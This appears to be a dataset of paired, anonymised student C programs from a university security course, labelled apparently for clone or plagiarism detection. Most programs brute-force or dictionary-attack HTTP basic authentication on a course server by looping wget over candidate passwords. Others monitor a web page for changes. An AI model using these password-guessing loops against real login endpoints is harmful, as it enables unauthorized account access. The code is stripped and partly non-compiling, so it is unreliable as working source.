stop.tv_sec-.tv_sec, labs(stop.tv_usec-.tv_usec)); fflush(stdout); for(i=0; i<combo_entries; i++) (combination[i]); (*combination); return EXIT_SUCCESS; }
0
001.c
058.c
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> () { int i,j,k,m,count=0,flage=0; FILE* log; time_t ,finish; double ttime; char s[30]; char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; char add[100]; strcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/"); =time(NULL); for(i=0;i<52;i++) { for(j=0;j<52;j++) { for(k=0;k<52;k++) { printf("%c %c %c\n",arr[i],arr[j],arr[k]); add[40]=arr[i]; add[41]=arr[j]; add[42]=arr[k]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count); flage=1; break; } fclose(log); } } } if(flage==0) { for(i=0;i<52;i++) { add[40]=arr[i]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],ttime,count); flage=1; break; } fclose(log); } } if(flage==0) { for(i=0;i<52;i++) { for(j=0;j<52;j++) { add[40]=arr[i]; add[41]=arr[j]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],ttime,count); flage=1; break; } fclose(log); } } } }
#include<stdio.h> #include<stdlib.h> #include<ctype.h> int (int argc, char *argv[]) { FILE *fp; while(1) { system("wget -p http://www.cs.rmit.edu./students"); system("mkdir Images"); if((fp=fopen("/home/s//SECAS02ANS/Images/file.txt","r"))==NULL) { system("cd www.cs.rmit.edu./images | ls > /home/s//SECAS02ANS/Images/file.txt"); system("md5sum www.cs.rmit.edu./images/*.* > /home/s//SECAS02ANS/Images/file.txt"); fclose(fp); exit(0); } else { fp=fopen("/home/s//SECAS02ANS/Images/file.txt","r"); system("cd www.cs.rmit.edu./images | ls > www.cs.rmit.edu./file.txt"); system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt"); system("diff /home/s//SECAS02ANS/Images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu."); system("mv www.cs.rmit.edu./file.txt /home/s//SECAS02ANS/Images"); fclose(fp); } system("mkdir Text"); if((fp=fopen("/home/s//SECAS02ANS/Text/index.html","r"))==NULL) { system("cp www.cs.rmit.edu./students/index.html /home/s//SECAS02ANS/Text"); exit(0); } else { fopen("/home/s//SECAS02ANS/Text/index.html","r"); system("diff /home/s//SECAS02ANS/Text/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu."); system("mv www.cs.rmit.edu./students/index.html /home/s//SECAS02ANS/Text"); fclose(fp); } sleep(86400); } return (EXIT_SUCCESS); }
0
001.c
033.c
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> () { int i,j,k,m,count=0,flage=0; FILE* log; time_t ,finish; double ttime; char s[30]; char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; char add[100]; strcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/"); =time(NULL); for(i=0;i<52;i++) { for(j=0;j<52;j++) { for(k=0;k<52;k++) { printf("%c %c %c\n",arr[i],arr[j],arr[k]); add[40]=arr[i]; add[41]=arr[j]; add[42]=arr[k]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count); flage=1; break; } fclose(log); } } } if(flage==0) { for(i=0;i<52;i++) { add[40]=arr[i]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],ttime,count); flage=1; break; } fclose(log); } } if(flage==0) { for(i=0;i<52;i++) { for(j=0;j<52;j++) { add[40]=arr[i]; add[41]=arr[j]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],ttime,count); flage=1; break; } fclose(log); } } } }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> #define OneBillion 1e9 int (){ int i=65,j=65,k=65,count=0,res=1; char arry[3],send[100]; int startTime, stopTime, final; startTime = time(); for(i;i<123;i++){ if(i<91 || i>96){ arry[0]=i; j=65; for(j;j<123;j++){ if(j<91 || j>96){ arry[1]=j; k=65; for(k;k<123;k++){ if(k<91 || k>96){ arry[2]=k; arry[3]='\0'; strcpy(send,"wget --http-user= --http-passwd="); strcat(send,arry); strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/"); count++; if((res=(system(send)) == 0)) { stopTime = time(); final = stopTime-startTime; printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\n",arry,(double)final/OneBillion,count); exit(1); } } } } } } } printf("\npassword not found\n"); exit(1); }
0
001.c
070.c
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> () { int i,j,k,m,count=0,flage=0; FILE* log; time_t ,finish; double ttime; char s[30]; char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; char add[100]; strcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/"); =time(NULL); for(i=0;i<52;i++) { for(j=0;j<52;j++) { for(k=0;k<52;k++) { printf("%c %c %c\n",arr[i],arr[j],arr[k]); add[40]=arr[i]; add[41]=arr[j]; add[42]=arr[k]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count); flage=1; break; } fclose(log); } } } if(flage==0) { for(i=0;i<52;i++) { add[40]=arr[i]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],ttime,count); flage=1; break; } fclose(log); } } if(flage==0) { for(i=0;i<52;i++) { for(j=0;j<52;j++) { add[40]=arr[i]; add[41]=arr[j]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],ttime,count); flage=1; break; } fclose(log); } } } }
#include<stdio.h> #include<strings.h> #include<stdlib.h> #include<ctype.h> #define MAX_SIZE 255 int (int argc, char *argv[]) { FILE *fp; while(1) { system("wget -p http://www.cs.rmit.edu./students"); system("mkdir data"); if((fp=fopen("./data/index.html","r"))==NULL) { system("cp www.cs.rmit.edu./students/index.html ./data"); } else { system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu."); system("cp www.cs.rmit.edu./students/index.html ./data"); } system("mkdir images"); if((fp=fopen("./images/file.txt","r"))==NULL) { system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt"); } else { system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt"); system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu."); system("cp www.cs.rmit.edu./file.txt ./images"); } sleep(86400); } return (EXIT_SUCCESS); }
0
001.c
000.c
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> () { int i,j,k,m,count=0,flage=0; FILE* log; time_t ,finish; double ttime; char s[30]; char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; char add[100]; strcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/"); =time(NULL); for(i=0;i<52;i++) { for(j=0;j<52;j++) { for(k=0;k<52;k++) { printf("%c %c %c\n",arr[i],arr[j],arr[k]); add[40]=arr[i]; add[41]=arr[j]; add[42]=arr[k]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count); flage=1; break; } fclose(log); } } } if(flage==0) { for(i=0;i<52;i++) { add[40]=arr[i]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],ttime,count); flage=1; break; } fclose(log); } } if(flage==0) { for(i=0;i<52;i++) { for(j=0;j<52;j++) { add[40]=arr[i]; add[41]=arr[j]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],ttime,count); flage=1; break; } fclose(log); } } } }
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> public static void main() { int i; char ar[100]; FILE* f; FILE* ; system("wget -O first www.rmit.edu./students"); while(1) { sleep(86400); system("rm -f thed"); system("rm -f new"); system("wget -O new www.cs.rmit.edu./students"); system("diff new first >thed"); f=fopen("thed","r"); if(fgets(ar,100,f)!=NULL) { printf("\n\n The has CHANGEDS"); system("mail @cs.rmit.edu. <thed"); system("cp new first"); fclose(f); } else { fclose(f); printf("\n\nthe has not changed "); } } }
0
001.c
023.c
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> () { int i,j,k,m,count=0,flage=0; FILE* log; time_t ,finish; double ttime; char s[30]; char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; char add[100]; strcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/"); =time(NULL); for(i=0;i<52;i++) { for(j=0;j<52;j++) { for(k=0;k<52;k++) { printf("%c %c %c\n",arr[i],arr[j],arr[k]); add[40]=arr[i]; add[41]=arr[j]; add[42]=arr[k]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count); flage=1; break; } fclose(log); } } } if(flage==0) { for(i=0;i<52;i++) { add[40]=arr[i]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],ttime,count); flage=1; break; } fclose(log); } } if(flage==0) { for(i=0;i<52;i++) { for(j=0;j<52;j++) { add[40]=arr[i]; add[41]=arr[j]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],ttime,count); flage=1; break; } fclose(log); } } } }
#include<stdio.h> #include<stdlib.h> #include <sys/types.h> #include <unistd.h> #include <sys/time.h> int () { FILE *fh,*fp,*fp1,*d; char [10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100]; sleep(60*60*24); system("wget http://www.cs.rmit.edu./students"); if(system==0) { printf("File stored"); } strcpy(filename,"index.html"); if((fh=fopen(filename,"r"))==NULL) { printf("cannot open file\n"); exit(1); } fp=fopen("index.txt","r"); fp1=fopen("index1.txt","r"); while((fgets(PassString,sizeof(PassString),fh))!= NULL) { fread(p,sizeof(PassString),sizeof(PassString),fh); printf(" contents %s\n",p); while((f1!=EOF) || (f2!=EOF)) { f1=getc(fp); f2=getc(fp1); if(f1<f2) { strcpy(,p); fp=fopen("index.txt","r+b"); fputs(,fp); fflush(fp); fclose(fp); } else { strcpy(temp1,p); fp1=fopen("index1.txt","r+b"); fputs(temp1,fp1); fflush(fp1); fclose(fp1); } } if(system("diff -b -w index.txt index1.txt > Diff.txt")==0) { d=fopen("Diff.txt","r"); if((fgets(,sizeof(),d))!=NULL) { printf("The difference between exist"); system("Mail \r\n Difference"); } } } return 0; }
0
001.c
076.c
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> () { int i,j,k,m,count=0,flage=0; FILE* log; time_t ,finish; double ttime; char s[30]; char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; char add[100]; strcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/"); =time(NULL); for(i=0;i<52;i++) { for(j=0;j<52;j++) { for(k=0;k<52;k++) { printf("%c %c %c\n",arr[i],arr[j],arr[k]); add[40]=arr[i]; add[41]=arr[j]; add[42]=arr[k]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count); flage=1; break; } fclose(log); } } } if(flage==0) { for(i=0;i<52;i++) { add[40]=arr[i]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],ttime,count); flage=1; break; } fclose(log); } } if(flage==0) { for(i=0;i<52;i++) { for(j=0;j<52;j++) { add[40]=arr[i]; add[41]=arr[j]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],ttime,count); flage=1; break; } fclose(log); } } } }
#include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <unistd.h> #define USERNAME "" #define URL "sec-crack.cs.rmit.edu./SEC/2" #define TEST_URL "yallara.cs.rmit.edu./~/secure" #define MAX_PASSWD_LEN 3 #define MAX_CHAR_SET 52 #define TRUE 1 #define FALSE 0 typedef int (*CrackFuncPtr)(const char*, const char*); int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func); char* initPasswdStr(int len, char ch); int getChPos(const char chSet[], int numOfCh, char ch); int pow(int x, int y); int crackHTTPAuth(const char *username, const char *passwd); int () { char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'}; char charSetS[] = {'A', 'B', 'C'}; int i; for (i=1; i<=MAX_PASSWD_LEN; i++) { if (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth)) { return 0; } } printf("\n...password not found\n"); return 0; } int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func) { int iter; int chIter; int curPos = 0; char *str; int passwdFound = FALSE; str = initPasswdStr(len, chSet[0]); printf("\nNow trying %d character(s)\n", len); for (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++) { for (chIter=len-1; chIter>=0; chIter--) { if (iter % pow(numOfCh, chIter) == 0) { curPos = getChPos(chSet, numOfCh, str[chIter]); str[chIter] = chSet[curPos+1]; } if (iter % pow(numOfCh, (chIter+1)) == 0) { str[chIter] = chSet[0]; } } if (func(USERNAME, str)) { printf("\nPassword found: %s\n", str); passwdFound = TRUE; } printf("."); } (str); str = NULL; return passwdFound; } int getChPos(const char chSet[], int numOfCh, char ch) { int i; for (i=0; i<numOfCh; i++) { if (chSet[i] == ch) { return i; } } return -1; } char* initPasswdStr(int len, char ch) { int i; char *str; str = malloc(len); if (str) { for (i=0; i<len; i++) { str[i] = ch; } str[len] = '\0'; } else { fprintf(stderr, "\nError: Unable allocate %d bytes memory."); exit(1); } return str; } int pow(int x, int y) { int ans = 1, i; for (i=0; i<y; i++) { ans *= x; } return ans; } int crackHTTPAuth(const char *username, const char *passwd) { char cmd[256]; struct stat fileInfo; sprintf(cmd, "wget -O -q --http-user=%s --http-passwd=%s --proxy=off %s", username, passwd, URL); system(cmd); (void)stat("", &fileInfo); return fileInfo.st_size; }
0
001.c
053.c
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> () { int i,j,k,m,count=0,flage=0; FILE* log; time_t ,finish; double ttime; char s[30]; char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; char add[100]; strcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/"); =time(NULL); for(i=0;i<52;i++) { for(j=0;j<52;j++) { for(k=0;k<52;k++) { printf("%c %c %c\n",arr[i],arr[j],arr[k]); add[40]=arr[i]; add[41]=arr[j]; add[42]=arr[k]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count); flage=1; break; } fclose(log); } } } if(flage==0) { for(i=0;i<52;i++) { add[40]=arr[i]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],ttime,count); flage=1; break; } fclose(log); } } if(flage==0) { for(i=0;i<52;i++) { for(j=0;j<52;j++) { add[40]=arr[i]; add[41]=arr[j]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],ttime,count); flage=1; break; } fclose(log); } } } }
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<ctype.h> #include<time.h> int () { int m,n,o,i; char URL[255]; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'}; time_t u1,u2; (void) time(&u1); strcpy(temp1,"wget --http-user= --http-passwd="); strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php"); for(m=0;m<=51;m++) { v[0]=[m]; v[1]='\0'; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(n=0;n<=51;n++) { v[0]=[m]; v[1]=[n]; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(o=0;o<=51;o++) { v[0]=[m]; v[1]=[n]; v[2]=[o]; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } } }
0
001.c
045.c
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> () { int i,j,k,m,count=0,flage=0; FILE* log; time_t ,finish; double ttime; char s[30]; char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; char add[100]; strcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/"); =time(NULL); for(i=0;i<52;i++) { for(j=0;j<52;j++) { for(k=0;k<52;k++) { printf("%c %c %c\n",arr[i],arr[j],arr[k]); add[40]=arr[i]; add[41]=arr[j]; add[42]=arr[k]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count); flage=1; break; } fclose(log); } } } if(flage==0) { for(i=0;i<52;i++) { add[40]=arr[i]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],ttime,count); flage=1; break; } fclose(log); } } if(flage==0) { for(i=0;i<52;i++) { for(j=0;j<52;j++) { add[40]=arr[i]; add[41]=arr[j]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],ttime,count); flage=1; break; } fclose(log); } } } }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> int () { int t1, t2, t; int timeinsec, nofattempts; char url[100], url1[80]; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); char word[15], *chk; chk = "word"; FILE *fp; int syst = 1; fp = fopen("words", "r"); t1 = time(); while(chk != NULL) { chk = fgets(word, 15, fp); if (chk == NULL) exit(1); word [ strlen(word) - 1 ] = '\0'; strcat(url, word); strcat(url, url1); nofattempts = nofattempts + 1; printf("\n %s %d\n",word,nofattempts); if (strlen(word) == 3) syst = system(url); if (syst == 0) { t2 = time(); t = t2 - t1; timeinsec = t/1000000000; printf("\n !!! here's the passowrd:- %s",word); printf("\n Total .of atempts: %d\n",nofattempts); printf("\n The total time_var taken: %d seconds", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } }
0
001.c
031.c
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> () { int i,j,k,m,count=0,flage=0; FILE* log; time_t ,finish; double ttime; char s[30]; char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; char add[100]; strcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/"); =time(NULL); for(i=0;i<52;i++) { for(j=0;j<52;j++) { for(k=0;k<52;k++) { printf("%c %c %c\n",arr[i],arr[j],arr[k]); add[40]=arr[i]; add[41]=arr[j]; add[42]=arr[k]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count); flage=1; break; } fclose(log); } } } if(flage==0) { for(i=0;i<52;i++) { add[40]=arr[i]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],ttime,count); flage=1; break; } fclose(log); } } if(flage==0) { for(i=0;i<52;i++) { for(j=0;j<52;j++) { add[40]=arr[i]; add[41]=arr[j]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],ttime,count); flage=1; break; } fclose(log); } } } }
#include<stdio.h> #include<stdlib.h> #include<strings.h> #include<ctype.h> #include <sys/time.h> #define OneBillion 1e9 int () { int startTime, stopTime, final; int i,j,k; FILE* fp; int pass,len; int count = 0; char [50]; char url1[100]; char url2[100]; startTime = time(); fp = fopen("/usr/share/lib/dict/words","r"); while (fp !='\0') { fgets( ,50,fp); len = strlen(); [strlen()-1] ='\0'; if(len <= 4) { count++; printf("Checking for the word :%s\n",); strcpy(url1 ,"wget --http-user= --http-passwd="); strcat(url1,); strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ "); strcat(url1,url2); pass = system(url1); if (pass == 0) { stopTime = time(); final = stopTime-startTime; printf("\n SUCCESS\n"); printf("The password for the user : %s\n ",); printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion); printf("Number of attempts : %d\n",count); exit(1); } } } }
0
001.c
059.c
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> () { int i,j,k,m,count=0,flage=0; FILE* log; time_t ,finish; double ttime; char s[30]; char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; char add[100]; strcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/"); =time(NULL); for(i=0;i<52;i++) { for(j=0;j<52;j++) { for(k=0;k<52;k++) { printf("%c %c %c\n",arr[i],arr[j],arr[k]); add[40]=arr[i]; add[41]=arr[j]; add[42]=arr[k]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count); flage=1; break; } fclose(log); } } } if(flage==0) { for(i=0;i<52;i++) { add[40]=arr[i]; system(add); count++; log=fopen("log","r"); 